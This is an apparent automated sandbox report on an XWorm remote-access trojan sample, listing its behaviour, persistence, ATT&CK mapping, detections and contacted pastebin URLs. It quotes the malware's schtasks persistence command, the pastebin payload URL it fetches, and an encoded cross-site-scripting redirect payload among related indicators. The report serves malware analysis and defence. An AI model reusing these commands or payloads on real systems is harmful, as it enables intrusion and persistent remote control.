Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 596797	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 596250	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 596140	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 595795	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 595687	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 595468	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 595359	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 595250	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 595140	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 594921	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 594812	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 594703	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Thread delayed: delay time: 594593	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: s8Z4L8DY65.exe, 00000000.00000002.4649694337.000000001AD37000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAWSyst%SystemRoot%\system32\mswsock.dll>

Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\s8Z4L8DY65.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\s8Z4L8DY65.exe

Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "www.kernal" /tr "C:\ProgramData\www.kernal.exe"

Jump to behavior

Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Queries volume information: C:\Users\user\Desktop\s8Z4L8DY65.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Queries volume information: C:\ProgramData\www.kernal.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Queries volume information: C:\ProgramData\www.kernal.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Queries volume information: C:\ProgramData\www.kernal.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Queries volume information: C:\ProgramData\www.kernal.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Queries volume information: C:\ProgramData\www.kernal.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Queries volume information: C:\ProgramData\www.kernal.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\www.kernal.exe	Queries volume information: C:\ProgramData\www.kernal.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\s8Z4L8DY65.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected XWorm

Source: Yara match	File source: s8Z4L8DY65.exe, type: SAMPLE
Source: Yara match	File source: 0.0.s8Z4L8DY65.exe.100000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.s8Z4L8DY65.exe.2434df0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.s8Z4L8DY65.exe.2434df0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2188465992.0000000000102000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4641687887.000000000242C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: s8Z4L8DY65.exe PID: 672, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\www.kernal.exe, type: DROPPED

Remote Access Functionality

Yara detected XWorm

Source: Yara match	File source: s8Z4L8DY65.exe, type: SAMPLE
Source: Yara match	File source: 0.0.s8Z4L8DY65.exe.100000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.s8Z4L8DY65.exe.2434df0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.s8Z4L8DY65.exe.2434df0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2188465992.0000000000102000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4641687887.000000000242C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: s8Z4L8DY65.exe PID: 672, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\www.kernal.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	11 Process Injection	1 Masquerading	OS Credential Dumping	1 Query Registry	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	21 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	21 Registry Run Keys / Startup Folder	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
s8Z4L8DY65.exe	81%	ReversingLabs	ByteCode-MSIL.Backdoor.XWormRAT
s8Z4L8DY65.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\www.kernal.exe	100%	Joe Sandbox ML
C:\ProgramData\www.kernal.exe	81%	ReversingLabs	ByteCode-MSIL.Backdoor.XWormRAT

Source	Detection	Scanner	Label
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://pastebin.coml	0%	Avira URL Cloud	safe
https://pastebin.com	0%	Avira URL Cloud	safe
https://pastebin.com/raw/cs6P4mHQ	0%	Avira URL Cloud	safe
http://pastebin.com	0%	Avira URL Cloud	safe
http://pastebin.coml	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
pastebin.com	104.20.3.235	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://pastebin.com/raw/cs6P4mHQ	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://pastebin.coml	s8Z4L8DY65.exe, 00000000.00000002.4641687887.0000000003075000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	s8Z4L8DY65.exe, 00000000.00000002.4641687887.000000000242C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pastebin.com	s8Z4L8DY65.exe, 00000000.00000002.4641687887.0000000002778000.00000004.00000800.00020000.00000000.sdmp, s8Z4L8DY65.exe, 00000000.00000002.4641687887.0000000002A99000.00000004.00000800.00020000.00000000.sdmp, s8Z4L8DY65.exe, 00000000.00000002.4641687887.00000000029F4000.00000004.00000800.00020000.00000000.sdmp, s8Z4L8DY65.exe, 00000000.00000002.4641687887.000000000272E000.00000004.00000800.00020000.00000000.sdmp, s8Z4L8DY65.exe, 00000000.00000002.4641687887.0000000002C82000.00000004.00000800.00020000.00000000.sdmp, s8Z4L8DY65.exe, 00000000.00000002.4641687887.0000000002886000.00000004.00000800.00020000.00000000.sdmp, s8Z4L8DY65.exe, 00000000.00000002.4641687887.0000000002720000.00000004.00000800.00020000.00000000.sdmp, s8Z4L8DY65.exe, 00000000.00000002.4641687887.0000000003075000.00000004.00000800.00020000.00000000.sdmp, s8Z4L8DY65.exe, 00000000.00000002.4641687887.000000000266B000.00000004.00000800.00020000.00000000.sdmp, s8Z4L8DY65.exe, 00000000.00000002.4641687887.00000000024CC000.00000004.00000800.00020000.00000000.sdmp, s8Z4L8DY65.exe, 00000000.00000002.4641687887.0000000002F5E000.00000004.00000800.00020000.00000000.sdmp, s8Z4L8DY65.exe, 00000000.00000002.4641687887.00000000028A1000.00000004.00000800.00020000.00000000.sdmp, s8Z4L8DY65.exe, 00000000.00000002.4641687887.0000000002576000.00000004.00000800.00020000.00000000.sdmp, s8Z4L8DY65.exe, 00000000.00000002.4641687887.0000000002F27000.00000004.00000800.00020000.00000000.sdmp, s8Z4L8DY65.exe, 00000000.00000002.4641687887.000000000309C000.00000004.00000800.00020000.00000000.sdmp, s8Z4L8DY65.exe, 00000000.00000002.4641687887.000000000287E000.00000004.00000800.00020000.00000000.sdmp, s8Z4L8DY65.exe, 00000000.00000002.4641687887.0000000002A29000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pastebin.com	s8Z4L8DY65.exe, 00000000.00000002.4641687887.000000000272E000.00000004.00000800.00020000.00000000.sdmp, s8Z4L8DY65.exe, 00000000.00000002.4641687887.0000000002720000.00000004.00000800.00020000.00000000.sdmp, s8Z4L8DY65.exe, 00000000.00000002.4641687887.000000000266B000.00000004.00000800.00020000.00000000.sdmp, s8Z4L8DY65.exe, 00000000.00000002.4641687887.0000000002576000.00000004.00000800.00020000.00000000.sdmp, s8Z4L8DY65.exe, 00000000.00000002.4641687887.000000000309C000.00000004.00000800.00020000.00000000.sdmp, s8Z4L8DY65.exe, 00000000.00000002.4641687887.000000000287E000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://pastebin.coml	s8Z4L8DY65.exe, 00000000.00000002.4641687887.0000000002A99000.00000004.00000800.00020000.00000000.sdmp, s8Z4L8DY65.exe, 00000000.00000002.4641687887.00000000028A1000.00000004.00000800.00020000.00000000.sdmp, s8Z4L8DY65.exe, 00000000.00000002.4641687887.000000000309C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.20.3.235	pastebin.com	United States		13335	CLOUDFLARENETUS	true
104.20.4.235	unknown	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1466167
Start date and time:	2024-07-02 16:28:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	s8Z4L8DY65.exe renamed because original name is a hash value
Original Sample Name:	8be2e5cd5facb059eba9f06c139a5b7782a97ea06d21624f5c3a4f1f806db223.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@11/3@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 83 Number of non-executed functions: 8
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target s8Z4L8DY65.exe, PID 672 because it is empty
Execution Graph export aborted for target www.kernal.exe, PID 1364 because it is empty
Execution Graph export aborted for target www.kernal.exe, PID 1836 because it is empty
Execution Graph export aborted for target www.kernal.exe, PID 1864 because it is empty
Execution Graph export aborted for target www.kernal.exe, PID 1944 because it is empty
Execution Graph export aborted for target www.kernal.exe, PID 3488 because it is empty
Execution Graph export aborted for target www.kernal.exe, PID 6644 because it is empty
Execution Graph export aborted for target www.kernal.exe, PID 7128 because it is empty
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: s8Z4L8DY65.exe

Simulations

Behavior and APIs

Time	Type	Description
10:29:13	API Interceptor	12996851x Sleep call for process: s8Z4L8DY65.exe modified
16:29:13	Task Scheduler	Run new task: www.kernal path: C:\ProgramData\www.kernal.exe
16:29:13	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run www.kernal C:\ProgramData\www.kernal.exe
16:29:22	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run www.kernal C:\ProgramData\www.kernal.exe
16:29:30	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\www.kernal.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.20.3.235	New Voicemail Invoice 64746w .js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Invoice-883973938.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	2024 12_59_31 a.m..js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	PendingInvoiceBankDetails.JS.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
104.20.4.235	New Voicemail Invoice 64746w .js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Invoice Payment N8977823.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Pending_Invoice_Bank_Details_XLSX.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Pending_Invoice_Bank_Details_kofce_.JS.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Update on Payment.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pastebin.com	bJLd0SUHfj.exe	Get hash	malicious	Unknown	Browse	104.20.4.235
	PGjIoaqfQY.exe	Get hash	malicious	Unknown	Browse	104.20.3.235
	x6221haMsm.exe	Get hash	malicious	Unknown	Browse	172.67.19.24
	INQUIRY#809676-JULY1.xla.xlsx	Get hash	malicious	Remcos	Browse	172.67.19.24
	20240506_12082.xls	Get hash	malicious	Unknown	Browse	104.20.3.235
	INQUIRY#809676-JULY1.xla.xlsx	Get hash	malicious	Remcos	Browse	104.20.3.235
	Kh7W85ONS7.exe	Get hash	malicious	AsyncRAT, DarkTortilla, StormKitty, WorldWind Stealer	Browse	104.20.3.235
	d5raNaLQ8Q.exe	Get hash	malicious	Xmrig	Browse	104.20.3.235
	agDEHyYcqv.exe	Get hash	malicious	DCRat	Browse	104.20.4.235
	a.exe	Get hash	malicious	Unknown	Browse	104.20.3.235

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	30Fqen2Bu3.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://www.cleaner.com/search/results?q=u5siq362e14p5%22%3E%3Cimg%20src%3D%22image.jpg%22%20onerror%3D%22var%20url1%20%3D%20%5B%27http%3A%2F%2Fg%27%2C%27oog%27%2C%27le.com%27%2C%27%2F%27%2C%27%23%27%2C%27f%27%5D.join%28%27%27%29%3B%20var%20url2%20%3D%20%5B%27http%3A%2F%2Fg%27%2C%27oog%27%2C%27le.com%27%2C%27%2F%27%2C%27%23%27%2C%27f%27%5D.join%28%27%27%29%3B%0D%0Avar%20url%20%3D%20%5B%27ht%27%2C%27tps%27%2C%27%3A%2F%27%2C%27%2Fw%27%2C%27ww.w%27%2C%27e%27%2C%27bw%27%2C%27at%27%2C%27chero%27%2C%27n%27%2C%27li%27%2C%27n%27%2C%27e.xy%27%2C%27z%2F2%27%2C%275P%27%2C%27B%27%2C%27NZ%27%2C%279%27%2C%279%2F7%27%2C%27B%27%2C%27R7%27%2C%2751%27%2C%27WZ%27%2C%27%2F%3Fsub1%3D15%26sub2%3D315-14024%26sub3%3D1267-284403-23819%27%5D.join%28%27%27%29%3B%0D%0A%20url%20%3D%20url.replace%28%2F%2C%2Fg%2C%20%27%27%29%3B%20var%20win%20%3D%20window.open%28url%2C%20%27_self%27%29%3B%20win.opener%20%3D%20null%3B%20win.location.replace%28url%29%3B%22%3E#I7JG1iFsTIxyHvBurVdK	Get hash	malicious	Unknown	Browse	188.114.96.3
	Customer account statement.html	Get hash	malicious	Unknown	Browse	1.1.1.1
	FiddlerSetup.5.0.20243.10853-latest.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	104.22.54.104
	https://maknastudio.com/pkyos	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	http://url2530.tvsmotor.com/ls/click?upn=u001.smInq0-2BkNc5oRshkzMLE7U6zcio2-2F9zwu1ZIXUanV0NJI-2BOrcqj0f4SCu-2B-2BWZYRJ5WulbQ5i5mBsK1zXEak-2FiMRG64aR-2FUGiDgoHteplEfqii9y-2FZm8OviJTU1sjmz7jpaYlxIO-2FZqsCEMZLobIAuBKqKOl6jqYqSAHVwBkUZuGRzhvuesvLIb-2BOJaFEug0CnemcJJ-2FkU8Glr1M3HQvGDQAvqLEDt4vHRnIl9R-2FSaV8cYQKwTSu6TlRyfKfKCNpqi6T3Rprq9LXKYQ9G34plU-2Fc6KaxWBoIH3kNUhm9F7K3dXpbJHxNw6DigdaCYldW7LwfYFYeoLppch4Oo8HLqZw-3D-3DvJ57_9d2PKuWgkMsb-2FuzR9pdXODiURjdHXUZxWOjR1RDmtgNtCgKSlO3B8TrsetABjpNaTpNYz3C-2BN-2Fe8PcWYAaBJJOY-2BBkK-2Br3jdT6tlTC1ulzeg0FOBv-2FDW-2BZMAe3LIHoCY1EV4P3qP-2FgkO4U8L72M16f-2BIc-2B8lqgIDpnawtqZ0MndPFzofEjexg4aHMjygT534Xh1q2WwYI6xVILXuKZVihA-3D-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://scanner.topsec.com/?d=3744&r=auto&u=https%3A%2F%2Fmaknastudio.com%2Fpkyos&t=a4fe2e96fe6815a71cc8a7f1ae1196e6fbcf1f08	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	winrar-64-6.21-installer_AmGAP-1.exe	Get hash	malicious	PureLog Stealer	Browse	172.67.41.60
	https://linestar-my.sharepoint.com/:f:/g/personal/crystal_linestar_ca/EgH5VvMfUqxCqthSlNI4dqsBrhZRILeELmLLYOjYesvYkg?e=AAEzrH&xsdata=MDV8MDJ8amFzb25zQHJvd21hcmsuY29tfGYyMzYyMTUzODQzNTRmMDQ4YTZlMDhkYzlhOThmYzRifGU3ODFmNDMxYjI1YTRhZDQ4MDYzYzQ2MGZhMGYwNTkyfDB8MHw2Mzg1NTUyMjkxNDY4MDA5NDN8VW5rbm93bnxUV0ZwYkdac2IzZDhleUpXSWpvaU1DNHdMakF3TURBaUxDSlFJam9pVjJsdU16SWlMQ0pCVGlJNklrMWhhV3dpTENKWFZDSTZNbjA9fDB8fHw%3d&sdata=eHJQM1U2eTh2K29qQjIyQmFFMWRLUFN5Tm5kdHdhRTRKVDA0Nmo1dnYrST0%3d	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://www.belkin.com/login/	Get hash	malicious	Unknown	Browse	104.17.247.203
CLOUDFLARENETUS	30Fqen2Bu3.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://www.cleaner.com/search/results?q=u5siq362e14p5%22%3E%3Cimg%20src%3D%22image.jpg%22%20onerror%3D%22var%20url1%20%3D%20%5B%27http%3A%2F%2Fg%27%2C%27oog%27%2C%27le.com%27%2C%27%2F%27%2C%27%23%27%2C%27f%27%5D.join%28%27%27%29%3B%20var%20url2%20%3D%20%5B%27http%3A%2F%2Fg%27%2C%27oog%27%2C%27le.com%27%2C%27%2F%27%2C%27%23%27%2C%27f%27%5D.join%28%27%27%29%3B%0D%0Avar%20url%20%3D%20%5B%27ht%27%2C%27tps%27%2C%27%3A%2F%27%2C%27%2Fw%27%2C%27ww.w%27%2C%27e%27%2C%27bw%27%2C%27at%27%2C%27chero%27%2C%27n%27%2C%27li%27%2C%27n%27%2C%27e.xy%27%2C%27z%2F2%27%2C%275P%27%2C%27B%27%2C%27NZ%27%2C%279%27%2C%279%2F7%27%2C%27B%27%2C%27R7%27%2C%2751%27%2C%27WZ%27%2C%27%2F%3Fsub1%3D15%26sub2%3D315-14024%26sub3%3D1267-284403-23819%27%5D.join%28%27%27%29%3B%0D%0A%20url%20%3D%20url.replace%28%2F%2C%2Fg%2C%20%27%27%29%3B%20var%20win%20%3D%20window.open%28url%2C%20%27_self%27%29%3B%20win.opener%20%3D%20null%3B%20win.location.replace%28url%29%3B%22%3E#I7JG1iFsTIxyHvBurVdK	Get hash	malicious	Unknown	Browse	188.114.96.3
	Customer account statement.html	Get hash	malicious	Unknown	Browse	1.1.1.1
	FiddlerSetup.5.0.20243.10853-latest.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	104.22.54.104
	https://maknastudio.com/pkyos	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	http://url2530.tvsmotor.com/ls/click?upn=u001.smInq0-2BkNc5oRshkzMLE7U6zcio2-2F9zwu1ZIXUanV0NJI-2BOrcqj0f4SCu-2B-2BWZYRJ5WulbQ5i5mBsK1zXEak-2FiMRG64aR-2FUGiDgoHteplEfqii9y-2FZm8OviJTU1sjmz7jpaYlxIO-2FZqsCEMZLobIAuBKqKOl6jqYqSAHVwBkUZuGRzhvuesvLIb-2BOJaFEug0CnemcJJ-2FkU8Glr1M3HQvGDQAvqLEDt4vHRnIl9R-2FSaV8cYQKwTSu6TlRyfKfKCNpqi6T3Rprq9LXKYQ9G34plU-2Fc6KaxWBoIH3kNUhm9F7K3dXpbJHxNw6DigdaCYldW7LwfYFYeoLppch4Oo8HLqZw-3D-3DvJ57_9d2PKuWgkMsb-2FuzR9pdXODiURjdHXUZxWOjR1RDmtgNtCgKSlO3B8TrsetABjpNaTpNYz3C-2BN-2Fe8PcWYAaBJJOY-2BBkK-2Br3jdT6tlTC1ulzeg0FOBv-2FDW-2BZMAe3LIHoCY1EV4P3qP-2FgkO4U8L72M16f-2BIc-2B8lqgIDpnawtqZ0MndPFzofEjexg4aHMjygT534Xh1q2WwYI6xVILXuKZVihA-3D-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://scanner.topsec.com/?d=3744&r=auto&u=https%3A%2F%2Fmaknastudio.com%2Fpkyos&t=a4fe2e96fe6815a71cc8a7f1ae1196e6fbcf1f08	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	winrar-64-6.21-installer_AmGAP-1.exe	Get hash	malicious	PureLog Stealer	Browse	172.67.41.60
	https://linestar-my.sharepoint.com/:f:/g/personal/crystal_linestar_ca/EgH5VvMfUqxCqthSlNI4dqsBrhZRILeELmLLYOjYesvYkg?e=AAEzrH&xsdata=MDV8MDJ8amFzb25zQHJvd21hcmsuY29tfGYyMzYyMTUzODQzNTRmMDQ4YTZlMDhkYzlhOThmYzRifGU3ODFmNDMxYjI1YTRhZDQ4MDYzYzQ2MGZhMGYwNTkyfDB8MHw2Mzg1NTUyMjkxNDY4MDA5NDN8VW5rbm93bnxUV0ZwYkdac2IzZDhleUpXSWpvaU1DNHdMakF3TURBaUxDSlFJam9pVjJsdU16SWlMQ0pCVGlJNklrMWhhV3dpTENKWFZDSTZNbjA9fDB8fHw%3d&sdata=eHJQM1U2eTh2K29qQjIyQmFFMWRLUFN5Tm5kdHdhRTRKVDA0Nmo1dnYrST0%3d	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://www.belkin.com/login/	Get hash	malicious	Unknown	Browse	104.17.247.203

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	30Fqen2Bu3.exe	Get hash	malicious	Unknown	Browse	104.20.3.235
	FiddlerSetup.5.0.20243.10853-latest.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	104.20.3.235
